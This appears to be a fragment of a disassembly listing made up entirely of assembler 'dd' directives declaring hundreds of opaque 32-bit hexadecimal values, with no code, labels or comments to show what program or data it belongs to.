		dd 5657710Bh, 6AE659AEh, 9939DE89h, 0E50EEF4Fh,	5B0B42D3h
		dd 8751575Ah, 60BF5700h, 0B7365525h, 5913D0F9h,	9A0C2CFBh
		dd 124A0104h, 25A0A7E9h, 0BF314E5Bh, 1175FC61h,	683F203Fh
		dd 9FC45C20h, 0C543B63Dh, 8094D4DDh, 458AC7DCh,	43791B2Fh
		dd 8099566h, 0B5371C5Dh, 4B8EF75Eh, 0F9820BA8h,	0FE5F97B7h
		dd 134DF738h, 0D4350913h, 0B08137Bh, 2957C27Dh,	8797E33h
		dd 6801A0C0h, 6EC9594Ch
		dd 0A7B864h, 0C10F0D7Ch, 0ABE902EEh, 0CFD989B5h, 97202D94h
		dd 14BD6746h, 901CEA0h,	5D35DD2Ch, 0F7D4C10h, 4A9E2096h
		dd 0B5F7224Eh, 91E52ED7h, 7E2FD7BFh, 71557762h,	0E47549DEh
		dd 9E3B2FE7h, 0A4FD246Ah, 8EEE5B68h, 5DC10BDBh,	0CDEE0228h
		dd 0C7352AFh, 44902ABAh, 9A1415FAh, 1FDD84C0h, 0C040EE5h
		dd 0F884F501h, 25E080Bh, 0F721AD18h, 0F29F53CCh, 6ADAFDE1h
		dd 7670FF54h, 82906890h, 13731506h, 0E51452Eh, 0C12A2726h
		dd 0F52700B7h, 5CBE9970h, 4D64548h, 33E33C07h, 5BAC3D85h
		dd 0D67C7A14h, 62D50C69h, 97CF6BEh, 6E686035h, 3C2E465Bh
		dd 9528C351h, 0EE5D0240h, 0FB8C4B6Bh, 61AE8A74h, 6AD4211Ch
		dd 0BBB470F2h, 688200E9h, 0F1594440h, 0DE4C889Eh, 148CDA0Fh
		dd 0AC3F4919h, 0DBFF5F04h, 0D2C9803Eh, 115BD570h, 49004B16h
		dd 5D5274B4h, 98F79D5Eh, 10F52AA6h, 429A46Fh, 0FEF01CE9h
		dd 0E0E6FDEFh, 0BD98B8E9h, 0EDE4D851h, 9BC9E481h, 0AEE2AF04h
		dd 0BC89D916h, 0EE72D94Eh, 0EB154AC3h, 0FCEBA624h, 30496D5h
		dd 21041479h, 0F86DCCF1h, 26BDDD53h, 0C40DAD50h, 0E1FE151Dh
		dd 0B1659B38h, 5E588B6Eh, 0FE7F2DEFh, 0BD5696DDh, 5A516156h
		dd 4FB67B60h, 36318E65h, 2788ADF8h, 6A5999F2h, 27CCA56Fh
		dd 82FB27FEh, 0A25D5020h, 8AAED3h, 2651F381h, 292F4870h
		dd 0AF2071D8h, 2FC25D7Ch, 0F76DC9D1h, 40BF954Ch, 0A93F2D28h
		dd 0FF1BA864h, 0DD74F113h, 0F84C7BB0h, 0ED035BB4h, 0E9084018h
		dd 0B9A8A05Ah, 0E4735D25h, 41B85013h, 0C4F4B34Ah, 0EB178844h
		dd 6F924480h, 350C00DFh, 0E2E9D62Ah, 519CC789h,	2ED7C6C0h
		dd 0B9445ED9h, 3E08413Bh, 120CCAA0h, 0BC455052h, 0E7D113ADh
		dd 1A87E500h, 50F737E6h, 183995D3h, 0C6CA73Ah, 1002C152h
		dd 0E9DF21AFh, 2775CF9h, 33E58058h, 971FF85Fh, 0CD5C46D2h
		dd 1F3B1315h, 72F05CA5h, 7D911214h, 489B205Ah, 0C7F3979h
		dd 6629CE0Eh, 0BCAD1611h, 48D72610h, 68982D0Dh,	13A26854h
		dd 0F9503B25h, 0EA6C85A8h, 0C5E55BFCh, 0D020FF51h, 97FEB95Dh
		dd 5E93C373h, 60AF11D8h, 37BE73DCh, 25ECBC1h, 668164F8h
		dd 0E41F5F68h, 0DEA995E0h, 2B2BDDEAh, 25BA7311h, 3ACADFC6h
		dd 0F75948DDh, 0B45BDD7h, 97EB5128h, 0FB0B51C3h, 0D26354C5h
		dd 590004D6h, 8115B635h, 30550BE2h, 3262506Fh, 75CE95Fh
		dd 3D50913Bh, 485D733Fh, 84FE4AC3h, 425B946h, 1257193Fh
		dd 0C0C0529h, 0EF951CAFh, 15D2F509h, 0C58B5DB9h, 89C795Ch
		dd 703E3C9h, 44439417h,	0B00C014Ah, 14E8015h, 0ECE23ADFh
		dd 0ACEAE9C5h, 0E2D01246h, 7D7AD609h, 0BE258E16h, 9496665Dh
		dd 0D8B70848h, 79B45007h, 0F7C1E305h, 0EF12355Ch, 0B541F07Dh
		dd 0F152BA7Ch, 0E2B08CEh, 5685BE01h, 39E92843h,	0FD6F9575h
		dd 8568C48Dh, 0B45877FEh, 5020BB80h, 4A086351h,	8FD0EF35h
		dd 0BE736846h, 8CE90582h, 6A6FD0ABh, 383D6067h,	587FA759h
		dd 9E5B520h, 41AA5593h,	0A509CC19h, 7F847A5Dh, 57680703h
		dd 585F103Dh, 0A66639DFh, 0B7181232h, 59EA689Ah, 0AB968409h
		dd 0DCF1F356h, 0C79FF4C8h, 94D6F683h, 0A608051h, 14BFFED3h
		dd 0C74195E5h, 475B2052h, 0FBFC940h, 30842F36h,	0D2446544h
		dd 4C60E25Eh, 502CFAF2h, 141DFFC0h, 1CD8E425h, 97131E68h
		dd 0E9C3D830h, 3211E80Eh, 0B251AF1Bh, 22D632FBh, 0DFFE8977h
		dd 796BDC53h, 284101A5h, 555363FDh, 0A0B1EAA4h,	2054C041h
		dd 5727202Fh, 69584F4Ah, 0C1DE000Ah, 0EFE9D817h, 0F95C97E4h
		dd 3021D3C4h, 7377DB7h,	391A19EAh, 30F033BFh, 56AF0B0Dh
		dd 504152A6h, 932E493h,	1ECAE912h, 13E63CFCh, 3710E916h
		dd 0AA9349B8h, 0CC1728F2h, 0C7AB9C7Ah, 0B4384207h, 29534A07h
		dd 0B31BE5Ah, 8663E95Bh, 88EAF8C8h, 127B5882h, 0C81C4721h
		dd 5BC0599h, 590F0407h,	8266E632h, 5FC50DF4h, 0CE945A98h
		dd 792F33F1h, 3995842Eh, 11FC5C44h, 0E38AFF4Ah,	68517CD8h
		dd 15535E05h, 0C4AE5940h, 9E24AF7Bh, 4D7B8EC0h,	0EFE9555h
		dd 0F7EC8F65h, 0C668047Ch, 0F93E143Ch, 7A4D30D6h, 83AF6CE3h
		dd 0EA0D2BB0h, 547185Ch, 47E88D6h, 0E9A6C1EBh, 0B203DF13h
		dd 0C33956BBh, 0C9E5D217h, 5130D11Bh, 2E9A41EFh, 0B8123012h
		dd 0D6B35E3h, 0D5388B7Dh, 0F655A792h, 21694F1Eh, 0B94A9E5Ah
		dd 2F38E6FCh, 9CACF03Eh, 17CCAD3Dh, 7937BB00h, 0DE3128C9h
		dd 9C16E2E9h, 2FA5A6BCh, 0F9878BDFh, 8C24811h, 0F92FCA49h
		dd 349F4216h, 5872694Eh, 2018E497h, 801CB5C6h, 0BDFCEBE1h
		dd 378992C0h, 0A9B14BECh, 676801DDh, 0F5D2CD7Ah, 0D545CE4Dh
		dd 83271528h, 0AF987D2Dh, 9DCB05F2h, 0DAC7D8A8h, 0D97E8726h
		dd 423A61Ah, 53C0DB9Bh,	0E7AFCE80h, 382814D8h, 0D8485AF0h
		dd 0CE23425h, 3955595Fh, 8951CF20h, 3EE2FDA3h, 30818325h
		dd 982E2047h, 0FA40491Dh, 0DD569750h, 0A5D7888Fh, 0DCFA03DDh
		dd 0FEC25078h, 0B243FA4Ch, 0B0D2DDC4h, 7C8A014Ah, 3F00CA58h
		dd 0E96B117Eh, 16B6FFCDh, 80030A4Fh, 6404CAA4h,	87C21D06h
		dd 2787C4Bh, 93E446BAh,	9E29D8FDh, 0CB72093Ch, 3C18D331h
		dd 0FCF577A4h, 0BCA6F6BDh, 0B9D2EFEh, 53C2D9EEh, 0B92D51B6h
		dd 0D796FF19h, 5129FC9Fh, 9A2C7E56h, 234E8DAh, 5740BE7Dh
		dd 6642CFF0h, 0BA1DE5Dh, 0BA8ED601h, 0DACBFD78h, 505C7325h
		dd 0C1C94F1Bh, 2A478F9Dh, 692A8CB5h, 5370972Eh,	0D5B005B8h
		dd 74F1A43h, 21FE7790h,	5B749878h, 5FD5E010h, 0E2CB5397h
		dd 8904A5D8h, 371CBFFh,	177B805h, 2DD09112h, 9DC40746h
		dd 0B4D4A0DFh, 0DCF663h, 52CACC80h, 0B15193B2h,	0D17D7D7Bh
		dd 6DE9D90Bh, 0FE95757Fh, 89C05593h, 0AB50D368h, 0EAFCEA77h
		dd 0C14A75A2h, 0C25978D7h, 54AB68B7h, 0BAF547DDh, 0AD3CAACAh
		dd 0A5F3005Ch, 53386203h, 734EF568h, 40BE41CCh,	16B55C0Ch
		dd 909DC601h, 1FF8B6B3h, 822D2C3Dh, 88525167h, 0FC62DDC6h
		dd 42CBFE57h, 8DFC1355h, 138220BAh, 0A903E7C1h,	4FC2E486h
		dd 71C40B2Ch, 0B589C597h, 0A067E940h, 0C0C74AE9h, 2A303546h
		dd 6837323Eh, 0A0F23345h, 0A5D171ECh, 91B6C5Fh,	28631F0h
		dd 0D1C3A95Eh, 0CA90A5E9h, 6216B9h, 0C981235Bh,	71762B31h
		dd 0F97AB790h, 0F778580Bh, 6CA054D9h, 0B712B11Ch, 0AFC02C2Eh
		dd 194FE158h, 2206DEE9h, 77F97E29h, 0BBC6EF4Bh,	49C301F6h
		dd 3137F398h, 0E04B7C5Ch, 9FE5BCE9h, 0E32ACD5Bh, 0C7333A01h
		dd 0B35FE961h, 5159616Ah, 13402653h, 3AC81ECh, 680AD6D1h
		dd 9E1435F3h, 564B4257h, 765D1DB7h, 19AF0B00h, 3E056866h
		dd 5D017312h, 67D0CF02h, 2B427702h, 26E87675h, 485F27F4h
		dd 967E1B9Ch, 0FA8493AAh, 0ECB86D13h, 4C43BC4Ah, 139520FCh
		dd 90DBF743h, 4417BB82h, 58930F50h, 0B4D1013h, 0DA5506EFh
		dd 0EA075384h, 0A8C44CF9h, 17DCC5B7h, 690401F6h, 0F3090CF4h
		dd 10807B5Eh, 4B7CE943h, 0BD899133h, 0BCBE0098h, 7F890110h
		dd 0FA5044B8h, 63B02A69h, 205C4B66h, 99C380DFh,	3A6E5C97h
		dd 39C1E98Bh, 42ADDC7Bh, 4595F28h, 123042C6h, 0EB08E2C0h
		dd 8DA6CF7h, 4022D8FFh,	58988295h, 0F41F6B79h, 581630D2h
		dd 5FB3FFCCh, 1827F490h, 79DE92Fh, 886554D3h, 0B1814C94h
		dd 412FF1BFh, 0DF788599h, 0CD77E824h, 0D0F35A2Dh, 7CD6C222h
		dd 60774E10h, 2D77A120h, 0CF01F14h, 295D0C0Bh, 0D0C47D7Ch
		dd 15F1180h, 65346BFBh
		dd 4FE92404h, 2A2067E1h, 168FB7F4h, 91E3F366h, 0EFB8545Bh
		dd 9F36E62Eh, 0FFFDFC5Dh, 91A56F7Ch, 4F15671h, 7CFB9EBh
		dd 0E334398h, 0F5B8EEE4h, 38F7801Fh, 0A4F6FA2Dh, 1794F508h
		dd 7E50325Ch, 0FF250474h, 173EEEE5h, 89AAFEB0h,	0B5EF600Dh
		dd 0C4BB5749h, 0B81F3A83h, 5D5C7025h, 40767572h, 0DD55D51Ah
		dd 558C2283h, 0EC77D9E7h, 5974F1Ah, 0E5F030C7h,	36C2897Ah
		dd 627FFECCh, 0F590585Dh, 149576F9h, 0DF5524CAh, 0FCBD60E4h
		dd 18483A45h, 717A7FC6h, 1E1FC59Dh, 3446DF77h, 2FEC108h
		dd 0CEE134FCh, 37595Eh,	51172BE2h, 77DA58Dh, 0E52358FEh
		dd 0C8271A50h, 8BF7F6BAh, 71C27F49h, 48E37C55h,	24B61AE9h
		dd 0C94F2959h, 18E606Eh, 4C5248C3h, 5A56DB50h, 0B2050571h
		dd 0E89EEE8h, 0E62BA9FCh, 9E899F7Dh, 70974201h,	2277F61Ch
		dd 0BFF56E1h, 51103BA2h, 1D0B057Ah, 7833914Bh, 1C432087h
		dd 4C92395h, 0EB2B1EECh, 0CF56CB09h, 0DB922276h, 4A485AA3h
		dd 5D48930Eh, 0A7E99AD8h, 68208FE9h, 138E7541h,	0F5A578B4h
		dd 1251E6Dh, 3B7E4D61h,	6EEFD760h, 0FA565FDAh, 0E1818E60h
		dd 7D3AF66Ah, 70C301Bh,	68565246h, 392EA409h, 14085547h
		dd 6C950272h, 965573D0h, 60930F36h, 0CFC1159Bh,	0CB5E2A3Ah
		dd 4A6EE7B0h, 0E97ED304h, 1C8A4B89h, 614BA74Bh,	2D2968A1h
		dd 217B7DC2h, 400CA10Eh, 0FDCD8112h, 39EB0526h,	0F44DD5F7h
		dd 0F402C581h, 0E9BEB2EFh, 3522E8A6h, 8B511E2Dh, 0E060971Dh
		dd 0EF09281Ch, 84D8C780h, 0ECFA5435h, 3928171h,	3C202FA9h
		dd 5E07A1EBh, 0E912BC67h, 0AD61B0B9h, 13F0534Bh, 1D547543h
		dd 8135487Ch, 0C160F50Ch, 87D42BE0h, 0A25B8FA8h, 197EC119h
		dd 46876AD0h, 0C048603Fh, 0DE59082Dh, 9CA1DA5Bh, 3375942h
		dd 5AEA992Ch, 2296ACE1h, 0F8D13CA6h, 48C5572Dh,	378580h
		dd 0F1817715h, 441B3E74h, 0E0EE92Dh, 0AEA9A660h, 1C7EBF2Ch
		dd 4DB60F50h, 0B4D30CC8h, 67BBACEh, 776DA127h, 1C68E98Bh
		dd 25D3D8E9h, 9618A6BAh, 0DF2E2050h, 818CE8FBh,	8B413E09h
		dd 8222FE9Ch, 2F22770Ch, 5F7D1157h, 3F021862h, 294BA851h
		dd 5A82CFA9h, 3E663517h, 0C4BB52D3h, 0AAA552B8h, 2D4706CDh
		dd 7EF74F11h, 1E2AC900h, 1301214Ch, 1249CBh, 5B13CCFCh
		dd 9F4AE358h, 0CB25E893h, 4597F4EEh, 839EBB58h,	85190266h
		dd 132FACE4h, 0B947F622h, 8CCE03B9h, 0CA3D0E1Ah, 6FDE75E6h
		dd 5E27E950h, 84AFB2E5h, 8100DEC6h, 0F055CCC7h,	4E0C5960h
		dd 0BD058460h, 841F9C63h, 1CCE0631h, 7C39ABE9h,	0CB38725Fh
		dd 9A9577A9h, 0EBED40A2h, 0FA5F825Fh, 5F51983Ch, 0BB69E4A3h
		dd 8A6CC70Fh, 25CD8928h, 45815792h, 778F1781h, 2E46EAEFh
		dd 9C07AA07h, 123DE42h,	8061C6Dh, 8214821Ch, 5DFE9280h
		dd 65CA8093h, 0C2BDD9CBh, 0C4E1E801h, 0C101057Fh, 6A573BDDh
		dd 463A96Eh, 381062E9h,	2DD6B8BFh, 7D4E8976h, 87096B52h
		dd 56FB2Eh, 76EC23FDh, 3AE9121Eh, 0F19DEE43h, 25F3B32Bh
		dd 0DB615653h, 8238C3C3h, 406C0EEEh, 0F9C6C10Ah, 0F0606829h
		dd 607C605Dh, 8018B753h, 8839EF0Fh, 7798ABFAh, 1E73A929h
		dd 7FEE2818h, 0A5AF8322h, 0EB8E13ACh, 0E0C6F74Eh, 2DFDCCE4h
		dd 144913BEh, 31DA13Eh,	0E8C35E07h, 1C4CC0FFh, 1A9F5D5Bh
		dd 0BBAD9EEh, 0EEDDDA23h, 75D38274h, 0CD36D50h,	887988AAh
		dd 77307F14h, 4C0890E7h, 5D6125C9h, 8C39AEA0h, 899E7C8Ah
		dd 29BB6024h, 993934CDh, 463A02C5h, 70128005h, 5A582F80h
		dd 5FE506FAh, 10C4CF7h,	34214F50h, 7AB226E9h, 50073625h
		dd 368F6725h, 4E288BEBh, 9DC9F7E4h, 305FBD0Bh, 82F680FCh
		dd 0F85F6D89h, 9E8C024h, 0E94CBE22h, 0A0ED942Fh, 1D016A2Ah
		dd 1AA8BD6Bh, 0A51C3408h, 0EEA51CF7h, 79DB8E0Ch, 28915614h
		dd 51856D55h, 8069FF7h,	9D1B78Fh, 0C729E9E1h, 415C84A7h
		dd 7325C682h, 2894DCBFh, 5AA3BE79h, 0CB09B59h, 5E575441h
		dd 7B42EA19h, 0DF8562F5h, 0CA078A50h, 675D09ABh, 69F0C2E0h
		dd 1D52D15h, 565CCB82h,	0FAA87351h, 3B6A8920h, 7A93575Eh
		dd 0F066EF93h, 2AD2024h, 0AB60D098h, 6D6EBDC6h,	812D0D32h
		dd 3B0D6AF5h, 266819F0h, 0C28C7183h, 560B8C6Eh,	0E8C64254h
		dd 43321669h, 0E26D9E1h, 780B02B7h, 0BD9EF404h,	3E096009h
		dd 0A9971A05h, 5550C504h, 951E2CABh, 76FD5Eh, 0B6D322C8h
		dd 0E335660h, 89629h, 52455355h, 642E3233h, 41E06C71h
		dd 94564439h, 0C70D4950h, 4CE7544Eh, 1A10A1Ah, 45E958FCh
		dd 0CE680A60h, 77A1D9Ch, 0EEE1CA37h, 219D64A3h,	8D08C015h
		dd 9FB6909Eh, 0AC219FD1h, 90A03D08h, 0A15484A2h, 0DB449848h
		dd 17208E22h, 3C9734EDh, 2E0110DDh, 0F88B50A6h,	0B556CC70h
		dd 0E23F3B00h, 0A3EE3141h, 0F98A0057h, 0BE4D846Fh, 1E75C336h
		dd 0A67B8300h, 32ED2F05h, 0C10100A3h, 9B972794h, 5C0FA40Ch
		dd 34052DBh, 0F0AE6A41h, 74A5C1h, 88593B1h, 4FACA6DDh
		dd 0E3959200h, 10CBC964h, 6F47009Eh, 19161C73h,	5579D85Fh
		dd 0EF22CD00h, 0A837E038h, 6E880070h, 9DB4BFC9h, 9B0093AAh
		dd 32E70F39h, 14CC3E60h, 0F27EC413h, 0E52E4406h, 56000FD2h
		dd 5040EB5Ch, 0C0A235EEh, 46AE2617h, 78B0928Dh,	0C9063F7Dh
		dd 7F22B56Eh, 8CA60F20h, 0B3874074h, 49C6A0B7h,	419D5EAEh
		dd 0D2D0F109h, 384EFA31h, 0FA00C89Bh, 2DCA8221h, 95005FECh
		dd 0D7EBB865h, 0FFD7D48h, 3EC98320h, 69905820h,	5D0017B4h
		dd 41AF7C91h, 50496C57h, 1C9A602h, 6DE72945h, 0E8DD528Fh
		dd 2650CE46h, 0A8001AB8h, 0A365E8CFh, 1A9518Dh,	78AFC774h
		dd 0EC9C8780h, 1CC06614h, 0DFE2CF1Fh, 24F500AEh, 0A1579F97h
		dd 157209C0h, 1BB9D100h, 52E7CEA9h, 6B8D00A4h, 0AB94C443h
		dd 0A875DB97h, 0A9EB0318h, 15858238h, 0BEC03953h, 2EA64507h
		dd 974861CBh, 0A450F07Fh, 3A477303h, 0F0575B56h, 0B4C8A554h
		dd 91803CC4h, 0D421AB78h, 0EA006201h, 0B43CCF0Ch, 0C99A47h
		dd 8526FB7Fh, 13E7B27Dh, 0B33DCE00h, 7AF29148h,	25224CFFh
		dd 59EA3F00h, 0DFF6A1EBh, 0D36396A8h, 4F0E7ECh,	8D2DB0Ah
		dd 8D0085FAh, 5973AC61h, 7156009Dh, 0BE1B3240h,	0C403631Ch
		dd 6F874F49h, 9B4C88B8h, 0F0300A4h, 3AE21DC7h, 0AD2D9388h
		dd 3F33A359h, 0C0B0E237h, 3A57FE5h, 54D38E17h, 7A00DDF5h
		dd 6D261EB8h, 14A0672Eh, 0C1D0DAE1h, 8002BF24h,	0A479858Fh
		dd 32023507h, 383E19BBh, 0BA8E407Fh, 37E40012h,	4B63BEBDh
		dd 3A033F49h, 766C28F7h, 5DA6F0CCh, 54EE84h, 0DDD9E5B7h
		dd 12D8C9C6h, 1B0715E2h, 6D0C03DEh, 4592B68Ah, 518C1D07h
		dd 0E90EC4D0h, 7DF70330h, 9E35CF1h, 423D9FC8h, 825DBC32h
		dd 1109683Eh, 0B4DE12FCh, 5EAB0044h, 94BE6E77h,	34F3FB00h
		dd 6F3B8315h, 0FF3F00CFh, 0F088BF23h, 0C800E677h, 0FB4CD047h
		dd 7623048h, 0C32CACB9h, 983A709Bh, 0D6000BEEh,	12E96335h
		dd 54250CFh, 0D1AE4BC5h, 0FFA20028h, 0B03D28Dh,	0CCA9AA75h
		dd 0A40E2FDh, 27017712h, 8B845E72h, 50689FE0h, 9348B200h
		dd 588D78F0h, 3B1DC1FAh, 6C4045E6h, 0A2561EADh,	94AA0079h
		dd 0E13A3E89h, 610E8A42h, 63511BA8h, 901ED675h,	9826E3Dh
		dd 408AF88h, 0FAC5290Eh, 2DFA42F6h, 4963CB33h, 0D64292D8h
		dd 0EE680828h, 0B44A111Dh, 0FF0B1664h, 0D39026F9h, 5F4C038h
		dd 0D84353CCh, 0D6FD49h
		dd 7B59717Dh, 0F72AD1h,	74F38530h, 0C17E935Bh, 0C7D5ED02h
		dd 8765621Ch, 344071CBh, 5C0EBEF4h, 0EE003BB7h,	52D527C4h
		dd 0E6A08179h, 1614C1D3h, 0FD4E8BFh, 0A4132B43h, 8C07287h
		dd 617720h, 0E19BC9C8h,	318B4AC5h, 1F60848h, 7AA6EE3Ah
		dd 0C28B07C1h, 0ABC091CCh, 0B518E7AEh, 8EB7EBCAh, 29024DD5h
		dd 0CF6C8600h, 6DD09FA7h, 0F775DE14h, 2B8B00D6h, 0C9CB62E5h
		dd 2FC800EEh, 204A94AFh, 2C00D872h, 0B96E44FBh,	0B39ECh
		dd 2EDD0943h, 76AB52FCh, 2C0AAD00h, 648E6C65h, 4EC900A3h
		dd 8C02FDDFh, 730C700Dh, 0DACB446Eh, 74AB0B7Eh,	4E01A45Eh
		dd 0E90E3995h, 7D26E8F9h, 89336200h, 1AC5376Eh,	564462BBh
		dd 0B761953Fh, 1490407Bh, 8B000925h, 3A07581h, 68BD49h
		dd 0B6ED474Ch, 905BB47Fh, 536C5Dh, 0FDC75FFh, 65B845h
		dd 33E80EC6h, 0FE23D890h, 80922D58h, 0EF0B56D9h, 0D7910F32h
		dd 9E00F52Ch, 6BE5865Bh, 0BD4E8300h, 3B9A4557h,	339005h
		dd 47032FBFh, 75FE3DC0h, 51CAA800h, 0D54A9764h,	89A102F9h
		dd 0E28500Bh, 2AA2C660h, 0F109C209h, 220E00A3h,	7F7CC27h
		dd 0FA7AAD4Fh, 81F4027Fh, 5569CEC0h, 0B0023D00h, 0F801CB98h
		dd 7AEA0025h, 5D7823F2h, 942CC0D4h, 7D0402DDh, 0D9C05E22h
		dd 20BD3CD3h, 20103EFh,	0C88023F8h, 0E030E83Dh,	15B63A6Bh
		dd 0AE7D9C80h, 7A09D226h, 8ED94401h, 5A12B16Ah,	0D800F332h
		dd 6EE6605h, 0D20C3ECDh, 0FBB81FF8h, 86AA2438h,	49227EB0h
		dd 2C4FAEFDh, 403E476Fh, 0B104FF21h, 35311BC3h,	0B2B5F8F2h
		dd 3799003Bh, 453FD21Dh, 0B4026BB6h, 6476291Eh,	0E6B74155h
		dd 76509CECh, 974117BFh, 9D5B40BEh, 52768B2Ch, 7A92A800h
		dd 0AF0CB9A9h, 0A04D00C7h, 27E0B26Dh, 5B00D255h, 0FE7D1779h
		dd 58D6EC23h, 0D02511Ch, 9AF76B1h, 0DE6885E8h, 42FD1600h
		dd 1484B770h, 818C302Bh, 0CEE60C70h, 5B004F75h,	9EECCD33h
		dd 1D861499h, 0C039E254h, 0C33CAFD4h, 0DC0BD18h, 6882313Dh
		dd 0AAE402BFh, 843BAB6h, 6F9656C0h, 290085EEh, 0BEB933FEh
		dd 0E36D2Fh, 7A48C71Ah,	1DA09BCDh, 3CC59C00h, 0D103919Dh
		dd 21B4186Fh, 85A15CDCh, 0EE928229h, 3D79973Ah,	0AF81A61Ch
		dd 0D8F78699h, 6B00782Ch, 31BB4881h, 720011C4h,	0CDF7CFAh
		dd 6AB744h, 36EB0FD9h, 0F7C26D95h, 0DDE0303h, 0C261B843h
		dd 9C440Ah, 0FB29FA2Fh,	6CFE6D1h, 53141790h, 0F3AFC3h
		dd 17E56F2Dh, 36955CAh,	8776B46Ch, 0E458410Ah, 358B1273h
		dd 521D9612h, 429F5BC0h, 3B36F1CDh, 991EB4E6h, 0FB56703Eh
		dd 1103A27Fh, 0F9DC8715h, 79160E41h, 0BF27BA6Dh, 0CDF8562h
		dd 0A73323F0h, 80988F38h, 9183BC61h, 84B065h, 575AF02Dh
		dd 51B641DEh, 1AE487A8h, 0AA22C100h, 73FD8E43h,	0DFB085h
		dd 40E33E3Dh, 1CAF7088h, 0F73BE23Ah, 3CB45709h,	76AF4033h
		dd 6A1849ABh, 5A7CD001h, 85075661h, 2448DA86h, 0CAB48720h
		dd 18A77CEEh, 0EF975FE9h, 17B0F07Bh, 0CB3930F3h, 0AE4C2318h
		dd 77B542CCh, 0F8B064h,	8E0CA1A5h, 0BA1FEA36h, 9A635A00h
		dd 7F097BADh, 0E82718FAh, 752936DAh, 81FC1898h,	0F1968E2Ch
		dd 6BEF860Fh, 0E4BD0E85h, 138328BDh, 0A22B002Eh, 519D9788h
		dd 0AC0C1EBCh, 1A74E4F3h, 419C175Dh, 8A1EB2h, 1ACF3731h
		dd 9F002749h, 0C74ACA5Ch, 300601B5h, 57E4E60Eh,	9500E10Dh
		dd 2B78756Eh, 5961DCh, 0A99EA424h, 424D41E2h, 5D3C9403h
		dd 0FB07CA33h, 0FF160347h, 0BEB67189h, 0DECE9D90h, 15FC0603h
		dd 982FB8E4h, 1422646h,	0E9CFAF3Ah, 0FCCE363Eh,	0DE82A1Ah
		dd 625D8F05h, 0BC0B0C53h, 0B34923D7h, 3710000Bh, 9F4D083Fh
		dd 0D6A48BCBh, 70E0183Eh, 0B92F2300h, 0B2A29D40h, 0C1380047h
		dd 0CF4BC41Ch, 0E1F4CB0Bh, 22D93909h, 0A94A0D6h, 0E65ED1h
		dd 0DF51CE13h, 0D34DC217h, 39F62B00h, 0AEC70FC3h, 0DA3A01EEh
		dd 837CDB1Fh, 0B49D8734h, 0A87066BEh, 3D61163Bh, 689235Ah
		dd 6C207A5Dh, 0E833F4FEh, 6B8EB800h, 923D02A6h,	0AC463F34h
		dd 1C0B9B82h, 94C6E814h, 27308EE8h, 83AB3E5Eh, 4F295C6Bh
		dd 145DB918h, 4601AFB2h, 1AFAE0F9h, 989C4D59h, 0B35A8174h
		dd 741240FCh, 3B00EFCDh, 3D420DBh, 0A43060h, 4565C03Fh
		dd 4EC64102h, 333A648h,	0D60BF09Ah, 52C2E959h, 902775ECh
		dd 0A39E5DE3h, 4D117809h, 9F797161h, 63AC940Ch,	0C8D21B0Ah
		dd 0C101C59Fh, 9A29E20Ah, 0CF12AECh, 85741E3Eh,	1A001D8Ch
		dd 0B0560193h, 541C55h,	396B3832h, 0FF30E90Fh, 8860A700h
		dd 0C3BC1E8Fh, 1D220073h, 0FE7C164Dh, 0D000E25Dh, 0CCCEE457h
		dd 30C4BB42h, 9814E835h, 6198D670h, 3BC34D13h, 5F9A3902h
		dd 0F646C182h, 9320C624h, 477B1E35h, 4B8687h, 0A14D84CCh
		dd 0EC0625FAh, 0B1BD37D4h, 4AE6EEh, 86729897h, 65734B4Eh
		dd 3E7648h, 242C1B17h, 706407D8h, 0CDCF03ECh, 0EF65B443h
		dd 415DD2D1h, 65600BB2h, 0D4EC0EBh, 353FF100h, 0C531231Ch
		dd 251F0010h, 1E1609D4h, 3053CD5h, 0FB34E911h, 0F32C38C0h
		dd 99A01h, 0E6598278h, 0DD52876Eh, 5953D327h, 61685079h
		dd 5BF3464Fh, 0BA5B4A79h, 0EF8A830h, 0BA17015Dh, 0EFC08D30h
		dd 31FE2F01h, 0C2CD6806h, 5879A8FCh, 86CD83Eh, 0C10119C7h
		dd 555911A2h, 0B6DE5032h, 0E2AA7B2Dh, 3E40F1E9h, 0AE0ED9FFh
		dd 0BD9F56h, 0F8C2D319h, 51B80034h, 3071DA4h, 0E03CFFC5h
		dd 404A000Eh, 0BADE546h, 3F2E0765h, 23E7AF1Ah, 0C0B5FC6Dh
		dd 1367CAADh, 0DF885C1Ch, 11C015C0h, 61E87A36h,	937F8B05h
		dd 0F4DE070h, 5EC6B709h, 17F7548Bh, 571CA08Fh, 0D701667Ah
		dd 0B08ABB59h, 0C5406CC0h, 23F68BCh, 36FFF593h,	0FF908D0Fh
		dd 9B3AF280h, 7FF4005Fh, 0F101C781h, 661707A1h,	0A08AF5B9h
		dd 0D4B12DEFh, 48B22218h, 36ACA10h, 66B93C0Ah, 89B05813h
		dd 0B60E93Eh, 0FD5E1157h, 0C8B00022h, 6DCDE4C1h, 0EE378357h
		dd 4EA6BC01h, 4FB52502h, 0FCCDC475h, 0A0EB785h,	0F5BA6640h
		dd 0B900DFF9h, 8AF6473Dh, 136304C0h, 74E585Ch, 0C04CC184h
		dd 6F303D2Ah, 60282B67h, 2685BD40h, 4FC2333Ah, 70A3B121h
		dd 11017DD3h, 4C5E34C7h, 3806FECCh, 30833B0Ch, 676491Ah
		dd 7B567169h, 94068133h, 3EDF8D6Dh, 8AA7E11h, 45B0057Ch
		dd 87A72A00h, 8440143Ch, 115D49C8h, 0BBAA0D3Dh,	5010C048h
		dd 2233BACAh, 0D4005E26h, 626F0C7Bh, 4CC67AFDh,	0F7740F4Bh
		dd 0D3D95D0h, 66848B46h, 0E83D720h, 8A5930F9h, 8C257710h
		dd 606CEF40h, 819707E1h, 404B616Fh, 1A8BC62Bh, 46952F03h
		dd 745F8ABh, 53C2B738h,	0C344A731h, 0A0C1B4C6h,	30109D1Fh
		dd 49008C6Ah, 6DBBA39Ah, 0BACAF8Ch, 0B5A68252h,	80A0BA07h
		dd 47A29E64h, 793393Ah,	8B7461AAh, 0AF9B4E80h, 706A0EB6h
		dd 2B87B0B5h, 8E5B9080h, 4B0096A8h, 5F9E3D7Fh, 0B08999h
		dd 0BAAB9059h, 0B9A2815Bh, 0AC946907h, 388AF6B5h, 0C3688BE3h
		dd 184AC7B3h, 8906354h,	8EC3A8B1h, 0A33BB000h, 9645BBA6h
		dd 6897003Dh, 4490A09Ah, 0B9038D2Bh, 9C8C8E65h,	0BF82C04Ah
		dd 869F065Fh, 0D16FF695h, 9B927A1Eh, 39AD7E0Dh,	0BC2AF812h
		dd 0DE261804h, 7BD010FBh, 64E40615h, 9C1E00C8h,	83974448h
